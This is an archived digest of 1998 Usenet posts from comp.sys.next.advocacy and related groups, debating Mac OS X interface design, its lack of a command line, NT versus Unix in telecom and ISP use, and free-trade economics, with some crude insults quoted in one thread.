Wages are controlled by supply and demand. Ask any Cobol programmer.
> The results have been
>stark increases in employment and wages in Mexico as well as increases
>in employment and wages in parts of the United States affected by NAFTA,
>despite the minimum wage.
60 minutes had a piece on how wages in Mexico weren't going up. A single
employee working for a company in an enviroment where there is high
unemployment isn't going to be able to demand a fair salary. Even when
unemployment is low, a single employee isn't going to be able to demand
fair wages. Any _single_ employee can be replaced. Now if those employees
were able to unionize...
The companies that were pushing for NAFTA were doing it to boost their
bottom lines, not to improve the economy of Mexico (or the US for that
matter)
>I don't know who it was that figured out that breaking down trade
>barriers between markets would expand the potential for trade and for
>wealth-creation
Adam Smith, IIRC.
--
sal@panix.com
Salvatore Denaro
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998070701442500.VAA00689@ladder01.news.aol.com>
Date: 7 Jul 1998 01:44:25 GMT
Organization: AOL http://www.aol.com
References: <6nr9uu$dnu$1@ns3.vrx.net>
Maury said:
>Not those icons (meaning the application workspace icon), the huge ones in
applications, where they SHOULD be menu
>commands/hot keys. Do I really need a HUGE button to delete a message?
Oh. You mean buttons. I'll agree that those are a bit large. It'd be nice if
there was a preferences option to change their size.
>The issue here is using the correct conceptual system. Icons represent
>objects, not commands. In Mail.app they are used to represent commands.
>This is wrong. Bad.
As I noted above, I think of these as buttons, but agree that the
representation is confusing/confusable with buttons. Bad.
I would like to think that we could all agree that what the Mac OS X UI needs
is more options/choices and greater user configurability, but hopefully without
sacrificing consistency.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 01:45:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6q2vcv.osk.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <slrn6prd53.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE66E.5FC1F6DF@nstar.net>
On Sat, 04 Jul 1998 03:23:10 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Uh, I'm sure that's so. But I just looked around my apartment and
>couldn't find anything I was forced to buy.
Hmmm... I had to buy a copy of Windows with my PC. That was forced upon
me by the "free market"
I guess the "free market" isn't all that free?
I know that I could choose not to buy a PC, or to build my own and not
buy Windows; but my point stands.
> If I went out to my car, I
>would of course find the liability insurance documents I was forced to
>buy,
...and you could choose to ride a bicycle.
>> Marxism was the invention and identification of the blamee.
>It *was*?
It was when I took my economics class, but that was a few years
ago and communism has since collapsed...
--
sal@panix.com
Salvatore Denaro
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 01:56:07 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nrv7n$st1$1@camel0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <4zeo1.2613$24.15470258@news.itd.umich.edu> <6nrs9a$425@newsb.netnews.att.com> <slrn6q2uq7.osk.sal@panix3.panix.com>
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In article <joe.ragosta-0607982056210001@elk59.dol.net> Joe Ragosta,
joe.ragosta@dol.net writes:
>> His point is that poor decision-making leads to a lack of long-term
>> wealth?
>
>No. His point was that the workers do not control the country's wealth.
Last time I heard the producers had to make what the consumers wanted.
>
>>
>> >
>> >>
>> >> Employees get 80% of the national income, investors get 20%. The fact
>> >> that employees spend a larger fraction of their income than investors do
>> >> is not the point in question.
>> >
>> >When you're talking about control of the economy, it most certainly is a
>> >relevant point.
>>
>> If the capitalists "controlled" the economy, don't you think they could
>> get more than 20% of national income?
>
>Not necessarily.
>
I guess your definition of economic "control" is looser than mine. If I
controlled a situation I would want more than 20% of the income from it.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 01:57:58 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nrvb6$u4c$1@camel0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <4zeo1.2613$24.15470258@news.itd.umich.edu> <6nrs9a$425@newsb.netnews.att.com> <slrn6q2uq7.osk.sal@panix3.panix.com>
Mime-Version: 1.0
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In article <6nrs9a$425@newsb.netnews.att.com> ,
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>Since your friend defined warlords = governing entities, the answer is
>easy. Government or governing entities preceded any market.
>
>Think about it. Baboons or birds don't have markets. They have
>governing entities, seeking to control food supplies, territory and
>populace (keeping mates, and scaring away competition for those mates).
I suppose certain types of people cannot fathom the notion of peaceful
cooperation as the basis for society, rather than masters and slaves.
To imagine that birds have a class of kings and a class of peasants is
utterly ludicrous.
Matthew Cromer
From: dfs@doe.carleton.ca (David F. Skoll)
Newsgroups: alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.windows.advocacy
Subject: Re: ISP's run NT? Hogwash!
Followup-To: alt.destroy.microsoft
Date: 7 Jul 1998 01:28:39 GMT
Organization: Carleton University, Ottawa, Canada
Message-ID: <6nrtk7$2hu$2@bertrand.ccs.carleton.ca>
In article <35a15e94.10216218@hydra>, Identity Withheld
(brother@trinity.mensa.net) wrote:
> >There are lots of folks successfully running DOS in a variety of applications
> >and scenarios. Is that sufficient to argue for a general migration to DOS? Or
> >to argue against a general migration from DOS?
> Such anecdotal evidence is sufficient to say that DOS (and NT, by
> extension of the argument) is not the bug-infest, crash-every-minute
> OS others claim it is.
Hang on a second. The last time I used DOS, which was version 3.1, I
found it very good. I don't think I ever encountered a bug in DOS
itself. For special-purpose applications, DOS is fine.
NT, however, is hundreds of times bigger than DOS, with the attendant
bugs, documentation errors, surprising behaviour and curious
interactions between components that implies. The fact that many
MCSE's are employed fighting fires and keeping NT systems staggering
along doesn't mean it's a good idea to use NT.
--
David F. Skoll
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 02:02:25 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nrvjh$to2$1@camel0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <4zeo1.2613$24.15470258@news.itd.umich.edu> <6nrs9a$425@newsb.netnews.att.com> <slrn6q2uq7.osk.sal@panix3.panix.com>
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In article <slrn6q2uq7.osk.sal@panix3.panix.com> Salvatore Denaro,
sal@panix3.panix.com writes:
>The companies that were pushing for NAFTA were doing it to boost their
>bottom lines, not to improve the economy of Mexico (or the US for that
>matter)
>
Free trade between countries is beneficial for the same reason that free
trade between states is beneficial for the same reason that free trade
between cities is beneficial for the same reason that free trade between
individuals is beneficial. To wit: specialization.
If every city had to design its own computers, make its own clothing,
write its own operating systems, that would make us all immeasurably
poorer.
Anyone who opposes free trade is, in the final analysis, joining forces
with the sabot-throwers and luddites.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 02:05:49 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nrvpt$vq6$1@camel0.mindspring.com>
References: <joe.ragosta-0607982056210001@elk59.dol.net>
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In article <6nrs9a$425@newsb.netnews.att.com> ,
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>Think about it. Baboons or birds don't have markets. They have
>governing entities, seeking to control food supplies, territory and
>populace (keeping mates, and scaring away competition for those mates).
>Here I'm paraphrasing your friend's statement of what those forty
>alleged governments in Somalia were doing. One can imagine the
>following attempt at a transaction -- beta male wants to mate with a
>willing female, but alpha male muscles beta male out. Restriction on
>free trade here, by a governing authority.
>
>Oops, I forgot you don't believe in evolution either.
Please list a post where I stated any belief in or against evolution?
Oops, you are confusing me with Michael Peck, since we are both arguing
for the side of liberty.
Matthew Cromer
From: "Nunya Dadburn Bidness" <nanomech@interaccess.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Mon, 6 Jul 1998 21:09:22 -0500
Organization: At times
Message-ID: <6ns03g$1j6$1@supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <atlauren-2606981828160001@jungleland.acs.uci.edu> <6n1pae$apc$2@bertrand.ccs.carleton.ca> <atlauren-2706981347120001@192.168.1.1>
Andrew Laurence wrote in message ...
>In article <6n1pae$apc$2@bertrand.ccs.carleton.ca>, dfs@doe.carleton.ca
>(David F. Skoll) wrote:
>
>>> Fact: 80% percent of *new* PC-based server installations are running
NT.
>>> (Or thereabouts, I can't recall the exact number, or where I read it.)
>>
>>Maybe. Another fact: Linux is the only OS besides NT gaining market
>>share (see the Datapro report off of www.redhat.com)
>
>That sounds about right. I'll check next week's Computer Reseller News -
>IIRC, they publish this sort of thing on a regular basis.
>
>>> The phone system may not run on NT today, indeed, probably won't within
my
>>> professional lifetime. MS will keep chasing that market, however, and
>>> eventually find an 80/20 combination which is compelling to that market.
>>
>>I don't think so. NT (or any proprietary third-party OS, for that
>>matter) offers no advantage to the phone companies.
>
>Yet. MS failed with Windows for several years before they matured it
>enough for people to notice. Ditto for Word. (Oddly enough, the success
>of each was tied to the other.) Give them time, they'll find something
>compelling enough to get the telcos interested. "Let's check this out, it
>might be what we need."
>
>>They're not going to give up
>>control of their products and go with a third-party OS of dubious
>>reliability and performance.
>
>Yet. Again, give MS time. Remember that MS' most unfailing
>characteristic is that they want you as a customer - period. Doesn't
>matter who you are, they want you as a customer. And they'll keep chasing
>your market segment until you at least consider them.
>
>
>>Microsoft is aggressively going after the embedded market. They will
>>fail.
>
>In the short term. Read the above, repeat as necessary.
>
>>Another thing: There will be an inevitable technological shift of
>>the kind which moved IBM from being the only player to being a big
>>player. Customer revolt, too, will play a part.
>
>Lord, I hope so.
>
>--
>Andrew Laurence atlauren@uci.edu
>Office of Academic Computing http://www.oac.uci.edu/~atlauren/
>UC Irvine
>
>"Perceive the need."
Perish the thought.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 7 Jul 1998 02:09:36 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6ns010$uup$1@camel0.mindspring.com>
References: <6noi5p$2qg$1@news.cmc.net> <1998070614244200.KAA08039@ladder03.news.aol.com> <joe.ragosta-0607982054570001@elk59.dol.net>
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In article <joe.ragosta-0607982054570001@elk59.dol.net> Joe Ragosta,
joe.ragosta@dol.net writes:
>Now that makes a lot of sense. You've proven that WinNT uses a
>never-ending supply of resources. Study after study shows that Apple is
>better. Yet your company has decided that it will never consider Apple.
>
>THAT is why MS has such a stranglehold on the industry.
Now where would IS job security be without Microscrap Joe?
Just what do you expect 500,000 MCSEs to do when they are threatened with
irrelevance?
Matthew Cromer
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Mon, 06 Jul 1998 21:14:16 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A18478.E8BE0DFD@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net>
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NNTP-Posting-Date: 7 Jul 1998 02:19:09 GMT
Charles W. Swiger wrote:
>
> Michael Peck <mjpeck@nstar.net> wrote:
> [ ... ]
> >> LOL, this is more true then you realise, remember that thing called
> >> evolution? It does make your body's behavior more effecient to have a
> >> human mind instead of a monkey's mind.:-)
> >
> > Not so; the human mind was created, as was the body.
>
> You've clearly moved beyond rational argument when you bring up your personal
> religious convictions as inarguable "truth".
You normally don't have trouble following threads, Chuck, which is why
I'm surprised that you confuse my response to an evolution argument as
having initiated anything of the sort. I did not begin the evolution
debate.
> Einstein was also convinced "that God does not play dice" with the world.
Yes.
> However, given recent experiments which test the Einstein/Podolsky/Rosen
> argument (action at a distance, or "hidden variable" in a system), it appears
> that Einstein was wrong. Try
> http://msia02.msi.se/~apollo/apollo/papers/kaon/kaon.html, or maybe John
> Glieck's "In Search of Schroedinger's Cat" for readable introductions to the
> subject.
I've read Glieck's work in its entirety, and I don't see any reason to
believe that it makes a case for "God playing dice". I do see evidence
that man has thus far been incapable of measuring or understanding the
entire extent of the created order, but I didn't see an argument in
there for the idea that the limitations of Man correspondingly limit
God. Since the boolean state of the cat at any point in the experiment
is unknowable to man without destroying the experiment, the perspective
is inherently that of a limited and involved observer; the idea that we
cannot simultaneously know both the position and velocity of a subatomic
particle similarly bounds Man's knowledge.
Again, I see no argument for the idea that God Himself is so bounded; if
you can construct one I would like to hear it.
MJP
From: "Nunya Dadburn Bidness" <nanomech@interaccess.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Mon, 6 Jul 1998 22:12:31 -0500
Organization: At times
Message-ID: <6ns3mu$21i$1@supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <35955021.48983447@hydra>
Identity Withheld wrote in message <35955021.48983447@hydra>...
>On Fri, 26 Jun 1998 09:55:36 -0500, perfecto@ct2.nai.net (J Perry
>Fecteau) wrote:
>
>>On Tue, 23 Jun 1998 20:16:05 -0700, atlauren@uci.edu (Andrew Laurence)
wrote:
>>
>>>Make no mistake - five years ago, MS was gunning to take down Novell as
>>>the premier NOS for business. That has been accomplished.
>>
>>you're a fucking retard. novell still maintains major market share. and
if
>>you think the phone system is going to run on nt, then you're dumber than
a
>>mongoloid.
>
>NASA runs on NT (and a host of other hosts)
>AT&T runs on NT and is currently testing NT to run their system
>Novell's marketshare has shrunk considerably over the past three years
>and is continuing to shrink.
>
>And stop your fucking cussing. It makes you look like a fucking
>retard.
>
The only things that run on NT at AT&T and Lucent are the file servers for
Win95 PCs. And they are just used for office type clerical stuff - reading
mail, writing documents, memos, etc. After all, they are large corporations
and do some of that stuff. Switches do not run on NT and never will - at
least not the switches that are built and sold today. Switches run
proprietary real time operating systems that are built specifically for
hardware that you'll only find in switches. Some of them are even
programmed in their own high level programming language that is only used
for that particular switch. Peripheral equipment runs a vast smorgasbord of
things that are mostly real time. There are other front end processors for
user interface, but even those will probably be Sun Workstations running
OpenWindows (UNIX and X), for quite some time to come. And they could run
Windows or CP/M as long as they create the correctly formatted data used by
the real equipment. And the heart of all of that software development is
UNIX. I don't care if an entire department has PCs on their desk, they will
all be equipped with Windows X emulators. And what are the Windows X
emulators used for? To Telnet into a UNIX compute server to get the real
work done, that's what.
And personal attacks of any kind are not conducive to dialog you flippin'
!@#$%^&s.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 03:03:34 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6ns366$1a2$2@camel0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nrvjh$to2$1@camel0.mindspring.com> <6nrvpt$vq6$1@camel0.mindspring.com> <35A18478.E8BE0DFD@nstar.net>
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In article <slrn6q2vcv.osk.sal@panix3.panix.com> Salvatore Denaro,
sal@panix3.panix.com writes:
>Hmmm... I had to buy a copy of Windows with my PC. That was forced upon
>me by the "free market"
Really? Why didn't you buy a PC with Linux instead?
http://www.linux-center.org/en/support/vendors/hardware/index.html
>
>I guess the "free market" isn't all that free?
Wrong.
>
>I know that I could choose not to buy a PC, or to build my own and not
>buy Windows; but my point stands.
No it doesn't, you can buy a PC without Windoze.
Come back and try again later.
Matthew Cromer
>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 7 Jul 1998 03:51:59 GMT
Organization: Digital Fix Development
Message-ID: <6ns60v$dkf$1@news.digifix.com>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <6nqrbs$37s$1@ns3.vrx.net>
In-Reply-To: <6nqrbs$37s$1@ns3.vrx.net>
On 07/06/98, Maury Markowitz wrote:
>In <uzpendo55.fsf@ai.mit.edu> Stephen Peters claimed:
>> There is a large contingent of people (well, NeXT users) who feel
that
>> having the scrollbar on the left is easier to use
>
>€ Proof by opinion? Well I *hate* them on the left. I find myself
often
>hitting them by mistake when attempting to selected text or insert
the caret
>on or near the left hand side. Notice the big white hole on the
right side?
I've always poo-poo'd this claim that Maury is making.
Then I met Maury. He makes a hummingbird seem lathargic...
:-)
I have no doubt that Maury has this problem....
Unfortunately, with Carbon, Apple has pretty much negatated
any possibility of their being a user selectability as far as this
goes. Toolbox calls don't encapsulate things like Frameworks do.
Apple could easily have made ScrollViews control which side the
scroller appears on. But in the Mac OS Toolbox there is no notion of
a view, and as a result no cohesiveness between scrollers and what
they are displaying.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 06 Jul 1998 20:53:02 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35A12A8E.16E9@earthlink.net>
References: <6nl6f1$1gi@newsb.netnews.att.com> <1998070413175100.JAA00612@ladder01.news.aol.com> <rmcassid-0607981337480001@dante.eng.uci.edu>
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To: Robert Cassidy <rmcassid@uci.edu>
Robert Cassidy wrote:
> Then they did it wrong. There is a utility called Myrmidon that takes the
> PS from the print queue and barfs out HTML - it's quite cool.
Yes it is quite cool!
Steve
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 06 Jul 1998 11:50:41 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-0607981150410001@nas-p2.usc.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <359feb8c.19663729@nntp.netcruiser> <petrichEvnpF1.IAo@netcom.com> <slrn6q1l3g.a2v.jason@jhste1.dyn.ml.org> <petrichEvoHHp.G8M@netcom.com>
In article <petrichEvoHHp.G8M@netcom.com>, petrich@netcom.com (Loren
Petrich) wrote:
> >No. Open Firmware can be told what device to boot from. ...
>
> So you never see any MacOS displays while booting LinuxPPC? Not
> even that initial smiley-faced early Macintosh?
That is correct, sir. MkLinux requires a small Mac partition to hold the
booter extension and the Mach kernel itself, but the booter loads first
(right after the smiley-Mac) and gives you the choice of what to boot.
LinuxPPC boots straight up...no smiley-Mac. This means that by adding the
/mach_servers directory to your LinuxPPC installation and (maybe)
adjusting your fstab entries you can use the aforementioned OF-bye
sequence to boot MacOS (which then gives you an option to boot MkLinux) or
boot straight into LinuxPPC. If you have the BeOS chooser extension
installed, you have a fourth option provided you know the startup arcana.
It's no problem whatsoever to have all four installed. Of them, however,
only LinuxPPC avoids the MacOS partition altogether. The rest need it to
be there at least long enough to read their respective booters into RAM.
Trev
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 7 Jul 1998 04:35:01 GMT
Organization: Occam's Razor
Distribution: world
Message-ID: <6ns8hl$a08$1@news.cmc.net>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com>
<6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au>
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Cc: rutledge@pigeon.qut.edu.au
In <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> Galen
Rutledge wrote:
>On 5 Jul 1998, Leon von Stauber wrote:
>
>>>> No.€ Unlike Rhapsody, Mac OS X is not considered an actual Unix system.
>>
>>This is not Chicken Little overreaction to some vague possibility
>>mentioned on a random Web site. This is Apple's official and
>>unequivocal statement that Mac OS X is not UNIX, and will have no
>>CLI built-in to the system.
>
>And I would bet that it will not be long before a 3rd party hacks a CLI
>for MacOS X. I forsee considerable demand for just such a thing.
Sure, but it won't be *built-in* as a standard component, it won't
be ubiquitous on Mac OS X. It makes a big difference if you can't
rely on it being there on every system.
>I think the CLI-less Macos X is simply a disclaimer.
>
>Apple has been burnt too much in the past claiming things are possible,
>and not delivering them.
But the CLI is already IN Rhapsody. Apple will almost certainly have
to do *more* work to deliver Mac OS X without it.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 7 Jul 1998 04:38:19 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ns8nr$e3g$1@lwnws01.ne.highway1.com>
References: <6nr9uu$dnu$1@ns3.vrx.net> <1998070701442500.VAA00689@ladder01.news.aol.com>
willadams@aol.com (WillAdams) wrote:
> Maury said:
> >The issue here is using the correct conceptual system. Icons represent
> >objects, not commands. In Mail.app they are used to represent commands.
> >This is wrong. Bad.
Hmmm, then what about tool bars? I usually hate them because the icons are
meaningless (so tiny I don't know what they represent). But they are
otherwise useful. I personally like the big icons, the slightly smaller ones
in PopOver are not as nice, but then again I have a 1600X1200 display so that
may account for the difference.
Anyway, Icons are icons. They represent something, not only objects. The
MacOS itself has long used them in things like menus et al. Icons, at least
for me, are just an enhanced visual cue. I think context is important here.
If the icon is in a menu, it's clear it's a visual cue for a menu. If it's
in a button, to me it's clear that its a button; however, if it's not clear
to most, then perhaps it shouldn't be used.
I guess the point I'm driving at is that consistency is good, but not to the
point of rigidity. YMMV.
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
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mailto:jkheit@mediaone.net
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From: <wthock@pop.jaring.my>
Newsgroups: comp.sys.next.advocacy
Subject: LOW PRICE CPU !!!
Date: Tue, 07 Jul 1998 18:56:38 PST
Organization: The one and only
Message-ID: <07071998185638wthock@pop.jaring.my>
content-length: 2287
Dear Sir,
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Well Fung Ind. Centre
58-76 Ta Chuen Ping Street
Kwai Chung, N.T., Hong Kong
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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Date: Tue, 07 Jul 1998 08:06:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-0707980806470001@wil42.dol.net>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <6nqrbs$37s$1@ns3.vrx.net> <6ns60v$dkf$1@news.digifix.com>
In article <6ns60v$dkf$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 07/06/98, Maury Markowitz wrote:
> >In <uzpendo55.fsf@ai.mit.edu> Stephen Peters claimed:
> >> There is a large contingent of people (well, NeXT users) who feel
> that
> >> having the scrollbar on the left is easier to use
> >
> >€ Proof by opinion? Well I *hate* them on the left. I find myself
> often
> >hitting them by mistake when attempting to selected text or insert
> the caret
> >on or near the left hand side. Notice the big white hole on the
> right side?
>
> I've always poo-poo'd this claim that Maury is making.
>
> Then I met Maury. He makes a hummingbird seem lathargic...
> :-)
>
> I have no doubt that Maury has this problem....
>
> Unfortunately, with Carbon, Apple has pretty much negatated
> any possibility of their being a user selectability as far as this
> goes. Toolbox calls don't encapsulate things like Frameworks do.
> Apple could easily have made ScrollViews control which side the
> scroller appears on. But in the Mac OS Toolbox there is no notion of
> a view, and as a result no cohesiveness between scrollers and what
> they are displaying.
I'm just curious--is that problem inherent in the Mac OS Toolbox or is it
something that was inherited from past practices? IOW, if it's not an
intrinsic feature, then the new Carbon APIs might allow it.
Comments?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 07 Jul 1998 08:25:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Distribution: world
Subject: Re: Microsoft Delays Win NT
Message-ID: <joe.ragosta-0707980825390001@wil42.dol.net>
References: <359A90F9.A546707D@alum.mit.edu> <4zeo1.2613$24.15470258@news.itd.umich.edu> <6nrs9a$425@newsb.netnews.att.com> <slrn6q2uq7.osk.sal@panix3.panix.com> <6nrv7n$st1$1@camel0.mindspring.com>
In article <6nrv7n$st1$1@camel0.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
> In article <joe.ragosta-0607982056210001@elk59.dol.net> Joe Ragosta,
> joe.ragosta@dol.net writes:
> >> His point is that poor decision-making leads to a lack of long-term
> >> wealth?
> >
> >No. His point was that the workers do not control the country's wealth.
>
> Last time I heard the producers had to make what the consumers wanted.
True. But that doesn't mean that the producers don't control the wealth.
>
> >
> >>
> >> >
> >> >>
> >> >> Employees get 80% of the national income, investors get 20%. The fact
> >> >> that employees spend a larger fraction of their income than investors do
> >> >> is not the point in question.
> >> >
> >> >When you're talking about control of the economy, it most certainly is a
> >> >relevant point.
> >>
> >> If the capitalists "controlled" the economy, don't you think they could
> >> get more than 20% of national income?
> >
> >Not necessarily.
> >
>
> I guess your definition of economic "control" is looser than mine. If I
> controlled a situation I would want more than 20% of the income from it.
>
Then you don't have a clue about microeconomics.
Even the most greedy industrialist will want only the maximum amount they
can take without creating an unstable situation. If they took more than
some threshhold amount (even if they have the power to do so), the
situation rapidly becomes unstable and you risk a revolution.
That means that you have to give the workers a living wage (actually, you
have to give them enough to prevent riots--which is a larger number than
a bare living wage). When you consider that it's around 1% of the
population that controls about 80% of the wealth, giving the workers even
an acceptable wage takes up a large chunk of the national income.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy
Subject: MacOS X UI suggestion
Date: 7 Jul 1998 14:45:11 +0200
Organization: The Computer Society at Lund
Message-ID: <6nt58n$p4h$1@bartlet.df.lth.se>
NNTP-Posting-User: cb
Hi all,
All this talk about scrollbars left-or-right and such, has brought up
in me a thought .. a wish ... a desire, if you will.
